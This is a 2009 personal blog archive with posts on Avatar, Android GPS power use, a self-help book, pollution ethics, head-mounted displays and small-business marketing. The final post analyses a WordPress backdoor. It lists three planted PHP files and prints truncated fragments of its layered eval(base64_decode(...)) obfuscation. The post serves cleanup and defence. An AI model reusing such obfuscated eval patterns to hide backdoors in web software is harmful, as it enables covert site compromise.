Don G. Park

the sublime abiding

Avatar 21 Dec 2009

Two days ago I saw James Cameron's film Avatar. Released 12 years after his previous feature film, Titanic. I am writing about it because the film moved me so. I'm not sure it will affect everyone the way it did me. I think I got very lucky in this regard as it hit a mark on a handful of themes. If a movie hits even one of these themes, its an entertaining film. This film hit two or three and hit them hard. I was in open-mouthed wonder at some of the user interface and ship technology at the start, and again at the sheer force of beauty on planet Pandora. As a real story progressed with the marine being taught the ways of the Na'vi, I enjoyed the ride. I cried when Home Tree was destroyed.

I thought Id write about some of my thinking during the movie and after.

One striking similarity is to the Night Elf race in World of Warcraft. The Na'vi look like them with their slender bodies, pointed ears, and minimal dress. The bodies of the navi move with tremendous fluidity and strength, like yoga gurus.

When I saw Toy Story for the first time I was amazed. Pixar had taken animation to the next level. Watching Avatar I had the same feeling. This is a brave new world of photorealistic animation.

My best short description of this film is it is Princess Mononoke plus The Matrix plus Minority Report rolled into one. Primarily Mononoke because the bulk of the story is the tremendous sense of love and unity that humanity, we imagine, had with the earth and with each other when we lived a more organic life. The Matrix comes from the total connection between a human mind and a being outside its body. In The Matrix the connection was to a virtual character in an electronic world. Avatar is quite different because the target body is in the same reality as the human. And Minority Report because of the fun user interface/heads up displays used in the base, also because of the extreme action scenes at the end of the film.

My largest criticism is the final third of the film. It becomes a shoot-em-up, blow-em-up action flick. Basically when the head researcher dies, the movie swerves off the road and crashes. The body-transformation and the circles of seated Navi connected to the ground becomes too woo-woo to take the film seriously. It was so good up to that point.

I just saw a making-of video for Avatar which made a great point - the actors are much more than voice actors. They physically acted out every scene in the movie. Through motion capture the CG characters repeated that same performance. Wireframe full-size winged beasts for instance were built and the actors rode on those and had their motion captured along with the dialog. The CG has nothing to do with artificial intelligence and everything to do with very good observation, very good skeleton simulation, and very good physics simulation.

Thats all for now.

Published on 21 Dec 2009 at 07:52PM by Don, tags

Android GPS Investigation 10 Dec 2009

In an effort to improve icecondor's usage of the GPS radio in android phones, I made a simple GPS activity log.

The concept behind IceCondor is simple, take a GPS reading every X minutes and send it to a webservice. The number of minutes between readings is configurable. The Android interface to the GPS is fairly hands-off. There is no GPS on and off button. An app makes or removes a request to the operating system get a reading every X milliseconds. What actually happens and its effect on GPS radio usage is interesting and not necessarialy obvious.

Lets say the app requests a location update every 60 seconds.

  • 1. a GPS fix occurs in 15 seconds. The radio is on for 15 seconds. Once a fix has been made, the first peculiarness with GPS readings occurs: the app will get straifed with a handful of updates because earlier updates come faster with less accuracy and later updates come later with more accuracy. So the app has some chance in deciding what accuracy it is interested in. Total GPS radio on time: 30 seconds or so
  • 2. a GPS fix is unavailable. Android will turn on the GPS for 60 seconds, looking for a lock. It then turns the radio off for 60 seconds and repeats. I observed the phone do this for 12 minutes.

Using the location update request at 0ms and cancelling the request gives good control over the GPS being on or off. Basically I'm interested in knowing if a fix is available within 20 seconds and if not, dont try any further. If a fix comes within 20 seconds, continue to get updates for the next 10 seconds or until the accuracy gets to 32m, whichevery comes first. I beileve this can be implemented with the 0ms update request working like a GPS on/off function, and using a 20second and 10second timer thread to mark when the next step should happen.

From what I have observed, if I am in a building, leaving the radio on for a couple minutes is useless. Either I am in a GPS coverage area or not. So a 20 second attempt every X minutes should be good for on-person, continuous (24hour/day) location tracking.

Published on 10 Dec 2009 at 02:44PM by Don, tags

The 50th Law 30 Nov 2009

I am reading a fantastic book that tells an unlikely story. "The 50th Law" by 50 Cent and Robert Greene. I'm not sure 50 cent does any writing, it looks like Greene does all the wordsmithing and uses a year of following 50 cent around as the raw material. Green previous wrote a motivational book (that I have not read) call the 48 laws of power. I find the 50th Law to be packed with gritty, specific tales of motivation, long-term thinking, and higher-order satisfactions. Its been fantastic to read and one of a very small number of books I'd like to own.

On boredom

"The principal means of distraction are all forms of public entertainment, drugs and alcohol, and social activities. But such distractions have a drug-like effect - they wear off. We crave new ones, faster ones, to lift us out of ourselves and divert us from the harsh realities of life and creeping boredom. An entire civilization - ancient Rome- practically collapsed under the weight of this new need and emotion. Their economy became tied to the creation of novel luxuries and entertainments that sapped its citizens' spirit; few were willing anymore to sacrifice their pleasures for hard work or the public good.

This is the pattern that boredom has created for the human animal ever since: we look outside ourselves for diversions and grow dependent on them. These entertainments have a faster pace than the time we spend at work. Work then is experienced as something boring - slow and repetitive. Anything challenging, requiring effort, is viewed the same way - it's not fun, it's not fast. If we go far enough in this direction, find it increasingly difficult to muster the patience to endure the hard work that is required for mastering any kind of craft. It becomes harder to spend time alone. Life becomes divided between what is necessary (time at work) and what is pleasurable (distractions and entertainment). In the fpast, these extremes of boredom assailed mostly those in hte upper classes. Now it is something that plagues almost all of us.

There is, however, another possible relationship to boredom and empty time, a fearless one htat yields much different results than frustration and escapism. It goes as follows: you have some large goal that you wish to achieve in your life, something you feel that you are destined to create. If you reach that goal, it will bring you far greater satisfaction than the evanescent thrills that come from outside diversions. To get there you will have to learn a craft - educate yourself and develop the proper skills. All human activities involve a process of mastery. You must learn the various steps and procedures involved, proceeding to higher and higher levels of proficiency. This requires discipline and tenacity - the ability to withstand repetitive activity, slowness, and the anxiety that comes with such a challenge.

Once you start down this path, two things will happen: First, having the larger goal will life your mind out of the moment and help you endure the hard work and drudgery. Second, as you become better at this task or craft, it becomes increasingly pleasurable. You see improvement; you see connections and possibilities you hadn't noticed before. Your mind becomes absorbed in mastering it further, and in this absorption you forget all your problems - fears for the future or people's nasty games. But unlike the diversion that comes from outside sources, this one comes from within. You are developing a lifelong skill, the kind of mental discipline that will serve as the foundation of your power.

To make this work you must choose a career or a craft that excites you in some deep way. You are creating no dividing line between work and pleasure. Your pleasure come in mastering the process itself, and the mental immersion it requires." p211-213

Published on 30 Nov 2009 at 08:26PM by Don, tags

Internet Reputation and Badge Aggregation 10 Nov 2009

FoodGeeks and FourSquare are two sites that use badges to signify the amount of experience a user has on that site. It occured to me that it would be interesting to aggregate these badges. It gives some indication of the interests of that user.


Some Foodgeeks badges

Some foursquare badges.

Published on 10 Nov 2009 at 03:58PM by Don, tags

pollution dilemas 08 Nov 2009

moral dilemas are interesting. pollution, especially of rivers, is something i'm concerned about. i have been somewhat close to industrial pollution, especially while working in the industrial part of NW Portland. trying to understand the mind and motivations of someone in this position of control over a profitable company that pollutes is my goal.

lets say you are CEO of a company in NW portland that works with steel or inks or anything that creates toxic waste. the existing process pollutes the air and put polluted, posionous waste water into the sewage/drainage system. here are some assumptions: the system of the corporation "works" in that it makes money. that is your job as CEO, to keep the company profitable in the near term and beyond. as CEO you dont have an in-depth understanding of the chemical processes at your place. you know some toxic waste is produced and you know that for air pollution you have a "permit" to pollute to a certain amount.

now someone comes up to you, someone who is not a CEO or in a position of power in your usual framework of who is important and who isnt. this person says your company is polluting the air with a carcinogen called agent X. maybe that person is holding a sign across the street instead of speaking in person. you think there is some truth to the carcinogen claim and you're pretty sure that agent X is produced in some amount by the company's process.

since the system "works" in that it provides incomes for dozens of employees, including a healthy income for yourself, the primary motivator is to keep that system going. there are years of pride based on a self-identity with a successful CEO image. on your side is the DEQ, the thinking being if whatever the company is doing is "that bad", surely the DEQ would come down on them hard. They did an emissions test just last year!

at the same time, you wouldn't move your family into that part of town due to pollution fears. there are many 2nd world stories of chemical processing plants for instance, dumping waste into ground water and near by communities have a huge jump in cancer rates.

also at the same time, the effects of carcinogens build up in the body over decades and a direct causation can't be readily measured especially since other carcinogens exist from other man-made sources. there is little motivation to spend money on monitoring. can you imagine spending money to find out that there is a situation which could possibly end the profitability of the company for good? like a home owner who is trying to hide a leaky heating oil tank to the next buyer, just dont look at it becomes someone else's problem. thats a good situation for the government, representative of the people and not (in theory) profit driven, to do the investigation, and the company should pay for it.

the columbia river is a superfund site. my whole live ive been told the columbia and willamette are unclean and shouldnt be used for swimming, let alone for drinking. two hundred years ago, when lewis and clark were exploring the area, i imagine the awesome power of the columbia and its clean water. water is more valuable than petroleum and to think in two hundred years we've rendered the mightly columbia into a toxic stream. unsuitable for children to play in, residents to drink from, or fish to swim in (some of which get ingested by humans).

it happened because technology created a process where lead or plastic, etc could be created by the river and the end result was something valuable and the toxic materials going into the river were not measured or monitored. if its 1890 and north america is a wild, clean, natural place, someone might think: "who cares where it went? i dont know what it does, really, to put mercury into the water. the river is huge and whats the difference, (just dont live downstream heh.). this process is making me a fortune in the short term and im going to protect that." and it works for that person's career of 20-30 years. the result being their children learn over their lifetimes that the river is now dirty, unsafe, dangerous to animals and people alike.

Published on 08 Nov 2009 at 12:13PM by Don, tags

headmounted cellphone displays 03 Nov 2009

As a heavy used of my android-powered smartphone, I know the value and pervasiveness of this constantly connected piece of computing power. its a reflex to pull out my phone at any pause in the daily goings on of my life. To check the time, to check for new messages either from email or sms or twitter.

Having a high resolution color touch screen in my pocket is an amazing gateway to a huge amount of information. It goes with me wherever i go and its always there ready to provide information or just entertain. New Android phones have a 1ghz processor, 256MB of ram, and gigabytes of storage. There is a barrier that I believe is about to be punched through and that is the headmounted display. Coupled with augmented reality, a head mounted display will be a quantum leap for human-machine interaction.

A new message would make itself known by altering what you see in some way. Eyeglasses would be the interface - easy for people who already wear glasses. I guess that number is smaller than it used to be given contact lenses. They would be transparent except when the computer needs to display something else in a part of the screen. this is not augmented reality as the glasses would also need a camera so the computer can see what you're seeing. With high enough resolution, part of the view could be obscured to display information.

A new level of ambient information will be integrated into one's daily experince. It will create new mental conditions and addictions like never before. It will be terribly useful but like the automobile, we have to be aware of what we're giving up at the same time.

Published on 03 Nov 2009 at 05:05PM by Don, tags

Turn Error Pages Into Opportunity 05 Oct 2009

Two great examples of turning an error page into opportunity come from Wikipedia.

The genius of the wiki, as described by Ward Cunningham, comes from what happens when a page is not found. Generally the web site will simply say not found. On a wiki, the site puts up a data entry form and offers the user, the one interested in the content, to create the content. A dead-end error becomes an open door instead.

If you do put up an error message, for example when wikipedia's server fails, the outage message is also a call for monetary donations.

"Sorry- we have a problem... The wikimedia.org servers are currently overloaded, or down. Hopefully this will be fixed soon; please check back in a few minutes, as the problem is most likely temporary.... Donations Due to the ever-increasing number of people visiting Wikipedia and its sister Wikimedia projects, we have a constant need to buy new hardware to keep the site running. If you'd like to help, please donate. "

Published on 05 Oct 2009 at 07:55PM by Don, tags

Make Happiness Your Business Model 28 Sep 2009

In the social network/advertising book by Tara Hunt, The Whuffie Factor, there is a small part on making Happiness your business model. It sounds fluffy at first but then made more sense. The book says some study determined four components for happiness: Freedom, Competence, Connectedness, and Self-Esteem. You can make happiness your business model by having a product that addresses or enhances one or more of those factors.

Social networking addresses connectedness directly. Education addresses competence. I'd say automobiles and the transportation industry is largely about freedom (of movement). Self-Esteem is unique in that its the only internal factor on the list.

Does EveryoneDelivers have happiness for a business model? The Freedom comes from not having to go to the store. Connectedness comes from the relationship to the delivery people that you might use over and over. The delivery people are connected to the people making listings. Also earning money is a freedom.

Published on 28 Sep 2009 at 03:12PM by Don, tags

guerrilla-marketing 28 Sep 2009

A friend suggested I put a sign on my bike to advertise EveryoneDelivers.com. It was very simple and inexpensive to do. I made a sign using inkscape, took a PDF to kinko's and did a $0.50 color printout with a $2.00 laminate sleeve. That was zip-tied to the bike bucket and it's done. Now that the sign is on my bike, I'm aware of just how visible my bike is being locked up outside and how many places I take it in a normal day.

street bucket

This photo is funny in that while the bike was parked out by the SW 9th carts, Portland Pedal Power showed up right next to it. The PPP seem to be having a successful summer and their cargo bikes are a fantastic form of advertising.

PPP next to EvrDel

Published on 28 Sep 2009 at 03:00PM by Don, tags

wordpress hack found 23 Sep 2009

after month or two of living with a backdoor in the wordpress install on dailywireless.org, it has finally been found.

$ diff -r wordpress-2.8.4/ dailywireless.org/ ... Only in dailywireless.org/wp-admin: fonction.php Only in dailywireless.org/wp-admin: wp-conf.php Only in dailywireless.org/wp-admin: wp-links.php

a diff between dailywireless.org's wordpress code and stock 2.8.4 code showed no file differences but did show 3 untracked files. the ones listed above. they contain some highly obfusticated code which looks like

<?php $o="QAAAO29zams5Cg0nJztvgA6RyA68DoSdvYm5gb3M9JzWP8QSRJyU503Cb0AORBKYI2 Wrg0QAHBlRyZQDxvP4HASgNoQCQDnAQgC0oD8eb5TH2CjJS0AKAHTE46AADYGn0E hAoZ2I=";eval(base64_decode("JGxs...

which decodes into the first of numerous layers of base64 encoded php.

"$lll=0;eval(base64_decode(\"JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs=\"));$ll=0;eval($lllllllllll(\"JGxsbGxsbGxsbGw9J29yZCc7\"));$llll=0;

once i had some of the code, i could google for it and found other people who have dealt with this kind of invasion before. the best resource I found is an automated web tool to decode the obfustication all the way down to the resultant PHP.

fonction.php decodes to this, and wp-conf.php decodes to this. wp-links.php was identical to wp-conf.php.

the backdoor was probably placed before the 2.8.4 upgrade using some older security hole. the backdoor remained after the 2.8.4 upgrade because the upgrade doesnt check for files that are outside the WP codebase.

Published on 23 Sep 2009 at 04:13PM by Don, tags

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